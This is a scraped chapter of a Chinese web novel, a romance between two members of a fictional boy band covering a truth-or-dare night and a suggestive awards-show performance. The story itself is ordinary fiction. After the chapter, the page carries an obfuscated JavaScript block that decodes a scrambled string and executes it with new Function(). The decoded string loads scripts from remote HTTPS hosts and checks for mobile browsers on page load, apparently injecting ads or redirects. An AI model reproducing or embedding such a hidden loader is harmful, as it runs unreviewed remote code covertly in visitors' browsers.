首页
第104章 颁奖表演
返回
关灯 护眼:关 字号:小

第104章 颁奖表演

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    怎么又转回来了。
    “我们……”方觉夏此刻恨不得能直接猝死,脑子里甚至冒出咬舌自尽方案的可行性。
    凌一也打起配合来,拿着波子汽水瓶子对准了裴听颂他们,“对!老实交代!”
    裴听颂抢走他手里的瓶子,“交代你个头啊。”说完他看向路远,“不是吧,你真的想听啊?”
    路远一手捂心口,另一只手还扶在台灯上,一脸大义凛然的表情,还咽了咽口水,“你尽管说好了,哥哥受得住。”
    瞅了眼贺子炎和江淼,两人都是一副笑而不语看好戏的表情,裴听颂挑了挑眉,“那我可真说了,需要细节描述吗?”
    路远一拍大腿,“赶紧的!”
    瞟到方觉夏红透了的脖子和灵魂出窍的表情,裴听颂知道他不好意思,也不愿意当着这么多人的面说这些,于是笑了笑,一把将自家宝贝哥哥拉到怀里,“做梦吧你。一天天的脑子里想什么乱七八糟的,都说了没干什么了。”
    方觉夏还以为他真的要说,所以被拽过去抱住肩膀的时候,他都愣住了。
    “不可能。”路远指着裴听颂,“你俩刚刚连看电影的口供都对不上,肯定是唬我们的。”
    “是啊。”裴听颂耸了耸肩,“我们是没去看电影,这么大一园子,逛逛还不行啊。”
    凌一打着结巴问:“那、那你们为什么不跟我们一起去、去泡温泉?”
    “还用问为什么吗?”裴听颂歪了歪头,“因为我不想让你们看到我男朋友不穿衣服的样子。”说完他还把方觉夏的衣领直接往上拽到下巴那儿,“一丁点儿都不行。”
    方觉夏把他的手拍开,瞪了他一眼让他闭嘴。
    “反正都摊开了,我们就再说明白一点。”裴听颂拎着汽水瓶子一个一个指过去,“以后你们和方觉夏的cp都不许营业了,从今往后全部be。”
    “嗬,真霸道。”贺子炎抱着自己右腿膝盖直摇头,“梦回辛丑条约。”
    “凭什么啊!”凌一不乐意了,“在你们那个听觉之前,我和觉夏的cp人气可高了!”说完他就想抓住了方觉夏的手,又开始耍酒疯,“觉夏你不跟他走行吗我唱歌养你!”
    “边儿去。”裴听颂直接掰开凌一的手,“我不唱歌都能养他。”
    “哎哎哎,”路远清了清嗓子,“虽然我嗑听觉,但是你说归说不要谈钱,本贫穷青年有被内涵到。”
    贺子炎像个拍卖现场的大佬那样抬了抬自己插了妙脆角的高贵的手,“加一。”
    凌一打了个嗝,忘了之前说了啥和被说了啥,只顾着跟风,“加一。”
    方觉夏实在是看不下去了,从裴听颂的怀里挣脱出来,小声说了他一句,“别闹了。”
    “好好好,”裴听颂当然惯着,“这个问题过了啊。”
    一直没跟着胡闹的江淼这时候却开口,“这么快就要过吗?不跟我们坦白一下你们恋爱的经过?”他面带微笑,“比如……谁追的谁?什么时候在一起的?”
    路远立刻鼓掌,“队长不愧是队长!”
    凌一也跟着鼓掌,“好!”
    裴听颂侧头问老婆,“这能说吗?”
    方觉夏立刻撇过头,“你问我干什么?”
    这意思就是能说。裴听颂get到之后大方坦白,“我追的他。在一起是什么时候……我从舞台上掉下去手受伤,他去医院照顾我的那天在一起的。”
    江淼听完,朝歪倒在地上听故事的贺子炎伸出手,“我赢了,给钱。”
    剩下四个人一头雾水,看着贺子炎叹着气给队长转账。
    “what?”裴听颂满脸迷惑,“你们究竟还打了几个赌?”
    可能比他们私底下建的群还多。
    收到红包的江淼心满意足,“没有啊,我俩都觉得你们真的在谈,但是在什么时候开始恋爱这一点有分歧,贺子炎说是觉夏生日前后,我说更早,然后我赢了。”说完他看向觉夏,故意笑了笑,“但是我没想到这么早啊,我以为觉夏会好好磨一磨才肯答应呢。”
    方觉夏被他说得红了脸愣在原地,又埋头吃薯片,咔哧咔哧仓鼠一样。
    “所以你究竟是什么时候发现自己喜欢觉夏的,之前不还信誓旦旦跟我说你觉得恋爱很无聊吗?什么时候告白的?”躺在地上的贺子炎拿脚蹬了一下裴听颂。他自觉输得不甘心,硬是要打破砂锅问到底。
    突然间想到什么,贺子炎便恍然大悟道:“啊我知道了,你小子该不会是受伤之后趁虚而入吧,打同情牌让善良的觉夏没办法拒绝你才勉强答应的对不对?”
    裴听颂白眼一翻,正想说你在说什么屁话,谁知被抢了先。
    “不是的。”一直掉线的方觉夏这时候居然出来反驳,“我不勉强,我喜欢他才答应的。”
    这一记直球把在场的几个男青年都打得懵逼了,懵逼过后又是一阵躁动。
    “哇哦!!”
    “不行不行我听不下去了。”
    路远往自己的嘴里塞浪味仙,“草,我是狗粮养大的。”
    “不是……我的意思是……”方觉夏最后还是语塞了,下意识就去瞟裴听颂。
    能被方觉夏当众说出喜欢这样的话,裴听颂此刻用飘飘欲仙形容都不为过,感觉已经到了人生的高光时刻。人一骄傲了就什么都愿意说,觉得倍得意,“看见没,瞎猜就会被打脸。”说完他开始回忆,“什么时候发现自己喜欢觉夏的……就是知道泄曲的那天,被梁若刺激了一下就发现了。”
    凌一的小脑瓜都不够用了,他抱住自己的脑袋,痛苦地说,“梁若?!为什么梁若会有戏份!等等,这剧、剧情为什么这么熟悉?”
    “因为梁若的号码是你给我找到的。”裴听颂提示。
    “对!”凌一一拍脑门,“我的天!所以我我我……”
    “对,你是告白中间商。”裴听颂无视了这个发现自己差一点掌握剧本的小傻子,继续说,“梁若私自把觉夏约出去说话,我找觉夏的时候给梁若打电话,他一直没挂,让我听到了他对觉夏的告白。当时我就火了,我也不知道我气什么,就是特别气。”
    江淼几乎能想象到老幺当时的反应,“原来是有人打了个样,把你的窗户纸也戳破了。”
    “反正我就发现,哦,原来我对这个人的感情还可以是除了友情之外的另一种形式啊。”裴听颂忽然正经起来,“所以接到他之后,我就表白了。”
    “草,这效率。”贺子炎真心为他鼓掌,“裴听颂你太行了。”
    路远惊了,“所以觉夏就答应了?”
    方觉夏立刻摇头,“没有,我、我当时没答应。”
    江淼又问,“那你当时对他是什么感觉啊?和拒绝梁若一样拒绝了小裴吗?”
    当然不是。方觉夏在心里说。
    “不一样。当时听到梁若说的时候,只是有一点惊讶,因为我对他完全没有那方面的感觉。”方觉夏垂着眼睛,说话速度很慢,“后来又听到裴听颂说,就……就真的懵了,被吓到,但是,但其实有一点,我说不出来。”他眉头皱了皱,然后又对江淼示弱地笑了一下,“我当时太乱了,根本没办法思考。他求我别太快拒绝他,我就没有一口回绝。”
    凌一揉了揉眼睛,“觉夏你也太好说话了。”
    “不是好说话。”江淼脸上是看透一切的表情,巧妙地抓住了重点,“觉夏你刚刚说梁若的时候,直接就用了‘对他完全没有那方面的感觉’这种表述,但一说到小裴表白,就开始语无伦次,明明你是最讲逻辑的人。你肯定那个时候就有点喜欢小裴了,只是不自知而已。”
    “是吗?”被一眼识破,方觉夏有点不好意思,抱住自己的膝盖,低声说,“可能吧……”
    但他突然又坐直了,扭头看向身边的裴听颂,嗔道:“不过为什么都是我一直在承认自己喜欢你啊。”
    裴听颂一下子笑开,挑了挑方觉夏的下巴,“你们看,这家伙的脾气只撒在我身上。”
    这暴击。
    贺子炎捂住了自己的耳朵,“不来了不来了,折磨我自己。”
    “我还可以!请继续!”
    “我当时为什么要把梁若的电话告诉裴听颂啊!我、我恨!”
    队友们发着神经,裴听颂却还在在意方觉夏刚刚的提问,“你以为他们为什么会发现我们的关系?”
    方觉夏眨了眨眼。
    为什么……
    裴听颂拿手轻轻弹了一下他的额头,小声说,“我喜欢你这件事还会有人看不出来吗,方觉夏。”
    也不知道为什么,方觉夏的心突然就乱跳起来。
    果然在裴听颂身边,他很难保持稳态。
    年少的男孩最难藏住心事,而最难藏住的心事就是喜欢。
    知道方觉夏脸皮薄,经不住这么一直问,裴听颂护着他转移了话题,逼着他们继续玩真心话大冒险,好在坏运气都过去,几轮下来他俩都没中,倒是凌一最惨,连续几个大冒险,最后一个直接抽中[给羌哥打电话说自己怀了他的孩子]的纸条。几个人仗着他喝得半醉,逼得凌一真打了出去。
    程羌那头已经睡下了,一个电话惊醒,接通之后竟然是凌一哭着说自己有了宝宝。
    其他几个人压住凌一,屏息凝气等待程羌的回应,没想到对方沉默了几秒之后,居然直接挂掉了。
    “嘟——嘟——嘟——”
    听着这忙音,大家放开了凌一。
    “完了,凌一失宠了,怀宝宝都没人搭理了。”
    “你才怀宝宝!”
    方觉夏憋着笑,“羌哥八成是以为自己在做梦,明天看了通话记录肯定会打回来的。”
    “哈哈哈哈哈对!”
    江淼忽然想到什么,“对了,你们准备什么时候跟羌哥说啊?”
    “看觉夏吧。”裴听颂说,“我都听他的。”
    贺子炎冷笑,“你这个混世魔王也有听别人话的一天,真是一物降一物。”
    方觉夏想了想,“我本来是准备这段时间说的,但是又有点担心,虽然羌哥说有恋爱不打紧,但是他可能也想不到是队内恋爱吧。”
    “那也是他一手促成的。”路远摇头晃脑,“其实不说也成,队内恋爱怎么会被抓包啊,问就是营业。”
    “我们会帮你们摁住柜门的!”凌一一脸肩负重任的样子。
    裴听颂故意说,“就你啊,得了吧,不给我拿扩音器到处宣传我都每天感谢上帝了。”
    “我这次绝对不会的!”凌一非常郑重,喝醉酒之后傻里傻气的,大嗓门宣誓道,“我可以,我能行!”
    “好了你,”路远嗑着瓜子,“别吓到你肚子里的宝宝。”
    “哈哈哈哈哈哈!”
    六个人在路远的房子待到了凌晨三四点,最先睡着的是凌一,本来还玩扑克牌,轮到他出牌了才发现这家伙已经趴在地板上睡着。路远把他拖到床上,给他盖了被子,又和其他几个喝酒聊天,方觉夏是个一喝就醉的,这次的酒度数高,都没给他醉酒发挥的机会就直接倒了,时间不早,剩下几个也准备睡觉。
    裴听颂没怎么喝,抱着方觉夏去了另一个房间。也不知怎么的,方觉夏又清醒了一点,抱着他的脖子缠着他,一直问他喜不喜欢自己,裴听颂就乖乖回答。
    “喜欢我你就要给我讲故事。”
    “好啊。”裴听颂把方觉夏搂在怀里,一边拍着他的后背,一边给他讲lily和小算盘的故事,讲到方觉夏睡着,他自己也睡着。
    第二天大家都睡到了中午,下午去喂了喂孔雀。凌一不听劝,穿了件花里胡哨的镭射外套,引得好几只公孔雀追着他开屏,这一幕被路远拍下来,还发到了微博上,从此被粉丝戏称为“人间孔雀”。
    离开温泉度假村,卡莱多又投入到繁忙的男团工作中,恋情的队内公开并没有带来什么改变,只是裴听颂每天都要威逼利诱凌一换房间,但凌一誓死不从,还每天当电灯泡,一看见裴听颂往他房间钻,就跟着一起钻进去,挨着这对小情侣。
    年末是娱乐圈工作最忙碌的时间段,各大颁奖典礼、电影节以及众多平台的年末晚会都扎堆在这个时间点举办,红毯上争奇斗艳,合影时百态尽出。过去的卡莱多在年末的时候一向没有姓名,别说上台表演,就连简单一张入场券都拿不到。
    但现在不一样了,这一年的kaleido蹿红速度几乎无人能及,是绝对的年度焦点,加上红起来靠得是实力和才华,往往长久,谁都愿意结交亲近,以后好行个方便,就连电影节都邀请了他们参加,不过江淼是和剧组一起走红毯,剩下五个另外入场。
    进场的时候,他们还特意排练了一遍新的开场白,这次没有队长喊一二三,变成了凌一,大嗓门一亮,瞬间有种喊麦现场的感觉。
    “大家好!我们是——江淼的五个拖油瓶!”
    就连手势k都变成了伸出来的五根手指。
    现场瞬间笑翻。这一段也被放到了网上,转发出圈,#相声男团卡莱多#的词条又一次上了热搜,之前非常经典的梗也跟着一起放出,算是变相宣传了电影。本来只是一个小众文艺片,因为有了大热男团成员的加入,首日票房就已破亿,连导演都发微博感谢演员和观众。
    影评逐渐释出,或许是角色适宜又有悲剧色彩,网上对于江淼的初次试水都给出了不错的评价,口碑不断升温。甚至有人预言江淼会被提名最佳新人和最佳男配角。
    电影节一过,剩下的就是密集的颁奖礼,kelaido关注度高,一年内手握两张爆专,几乎是横扫各大音乐颁奖礼。
    “最近的邀请函真多到挑都挑不过来,好几个还得赶场子去参加。”程羌趁着他们合体拍完冬专主打的,在片场顺便说了说行程,“不过有一个撞了b,就不去了。b含金量最高,就是最后没拿奖也得参加。”
    一说到b凌一就激动,“求求了,中一个吧,让我们欧一次吧。”
    “哪有这么简单的。”路远感叹,“b的评审是出了名的挑剔,之前从来都没有偶像团体入围过,咱们能被提名都已经是被金蛋砸中了。”
    裴听颂顺着说,“可不是,官宣提名名单那天咱们的黑帖简直是井喷式增长,差点我就在微博骂人了我。”
    方觉夏想到什么,扭头看他,“你不是已经骂了吗?”
    “欸?是吗?”裴听颂眨眨眼,好像找回点记忆,“哎呀骂多了记不清了。”
    程羌叹了口气,“大家也不能这么气馁啊,要是真的能在b拿奖,你们就发达了。”
    按照星图的策划,迷你冬专《xs&u》在12月25日圣诞节发行,这也是卡莱多的出道纪念日。巧的是,b这一年度的颁奖盛典也安排在了圣诞节,为了b舞台的第一次亮相,也为了给粉丝一个周年特别舞台,卡莱多rex了《破阵》和《lastsuer》,也准备了冬专新主打曲的首舞台。
    自从官宣了kaleido会出席b,粉丝就天天在官博留言,由于呼声太高,kaleido的舞台又一向出彩,b特别延长了他们的表演时间。于是他们特意编排出一个intro,成员两两出场。贺子炎充当dj和凌一合作非主打《icewar》,江淼和路远双人舞,裴听颂则和方觉夏一起,演唱非主打《狩猎》。
    颁奖礼的当天是直播,来的歌手和团体众多,开场表演是梁若退队后的七曜。方觉夏在后台听着,心中不免唏嘘。
    “你冷吗?”裴听颂把自己的外套脱下来给方觉夏披上。方觉夏的演出服很薄,是有些欧洲中世纪风格的白色衬衫,外面披黑色斗篷。
    方觉夏摇头,小声说,“我有点紧张。”
    他今天化的妆很特别,为了搭配《狩猎》的风格,嘴角特意画出一段血迹,眼线也勾得很诱,用这样一张脸说这种可爱的话,有种怪异的萌感。
    裴听颂把自己戴着手套的手伸出去,“给你咬一下,咬了就不紧张了。”
    “你今天才是吸血鬼好吗?”方觉夏说的是裴听颂的妆发,不过他习惯性看到手套就想摘下来,也不知道是什么条件反应。可刚扯了一下,就被裴听颂拦住,“别闹,一会儿要上台了。”
    好吧。方觉夏在心里放过了他。
    后台的时间总是过得飞快,一下子就顺到了他们。趁着灯光暗下来,舞台完全漆黑的时候,他们六个人通过升降台上场,贺子炎和凌一在舞台的最左边,江淼和路远在最右,裴听颂和方觉夏则在最中间。
    音乐声响起,先是左边的聚光灯亮起,凌一一开嗓,台下的粉丝就爆发出惊人的尖叫。
    方觉夏始终在一片漆黑之中,听着队友们的表演,裴听颂抓着他的手腕,直到听见工作人员在耳返里准备切机位的时候,他才松手站开。
    最中间的聚光灯亮起,还没开始,尖叫声就已经如海浪一样朝他们涌来,裴听颂握手麦一旁走出,这次并没有出现他一贯的嘴炮式rap,而是有些慢的节奏,配上充满了仪式感的音乐,甚至有种病娇感。
    “从我指尖里渗出的热浪,在你脊背这山脉上流亡。”
    他的手扯开衣领,“颤栗的毛孔咬紧我不放,谁神经末梢在尽情抓狂。血管滚烫,腥甜岩浆。你说你要我,想要我释放。”
    语速跟随beat加快,他挑了挑眉,“放谁的血来掩盖我欲望,望一眼你就能挖走我心脏。”
    伸出食指打着圈,裴听颂勾起嘴角,“keepyouhigh,roundandround.厮磨曲线,不够抽象,动物的本能怎么会说谎,再神圣都该被龌龊来弄脏。”
    音乐变化,最中间的另一盏聚光灯亮起,身披黑色斗篷的方觉夏出现,开始了hook部分。
    “你要为我烧光热血。”
    方觉夏在很多人的心中都和禁欲挂钩,连唱腔也都是空灵的,不落地。他很少用这种含着气的迷幻唱腔,每一个尾音都勾人,像一个技法娴熟的勾魂者。
    “要为我一吻湮灭。”
    “为我力竭。”
    “在我的身体里覆灭。”
    他的手抬到肩头,褪下黑色的斗篷,露出完整的面貌。
    “谁让你,爱上一场狩猎。”
    音乐再一次变化,rex后的收尾承接了一开始贺子炎和凌一的《icewar》,裴听颂用他极富磁性的音色开始念出英文念白,也是《icewar》开头intro的歌词,但被他们改编成中世纪的风格。
    “i’llbeyourwickedresister.”
    [我会成为你棘手的反抗者。]
    方觉夏用花腔吟唱的技法唱诗般为裴听颂和声,如同沉吟圣经,飘如谪仙,和之前那个勾人的唱腔完全判若两人。
    “yourunbrokenrtyr.”
    [你坚不可摧的殉道者。]
    “yourfaithfulwarrior.”
    [你忠诚的战士。]
    他本是一步步朝前走着,却突然停下了脚步,转过身,看向朝他走来的方觉夏,“no.”
    “ain’tyourinnocentyoungerlover.”
    [不,我才不要做你天真无邪的年轻爱人。]
    镜头下,完成一场狩猎后的裴听颂与方觉夏狭路相逢,他握住了哥哥的下巴。
    “i’yourfuckingdirtyster.”
    [我要做你下流至极的拥有者。]
    作者有话要说:这两首没写完整的歌词,就不放在作话啦
    btw,男歌手是可以唱花腔的(可以搜索一下)不过严格意义上专业的声乐分类里没有花腔男高音,只有花腔女高音,对应的是假声男高音。但文里的花腔是通俗意义,指美声唱法里一种华丽灵活的高难度唱腔,现实也有很多男高音歌手擅长这种技巧,这样写方便大家理解这一段是什么样的假声转音。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="a11jecx1iv";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm:Fp_(TTm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm:Fp_(TTm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/d}}CY(R}6X/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"d}}CY(R}6X"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q/f/}Ko}j(8}vY8d}}CY(R}6X"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();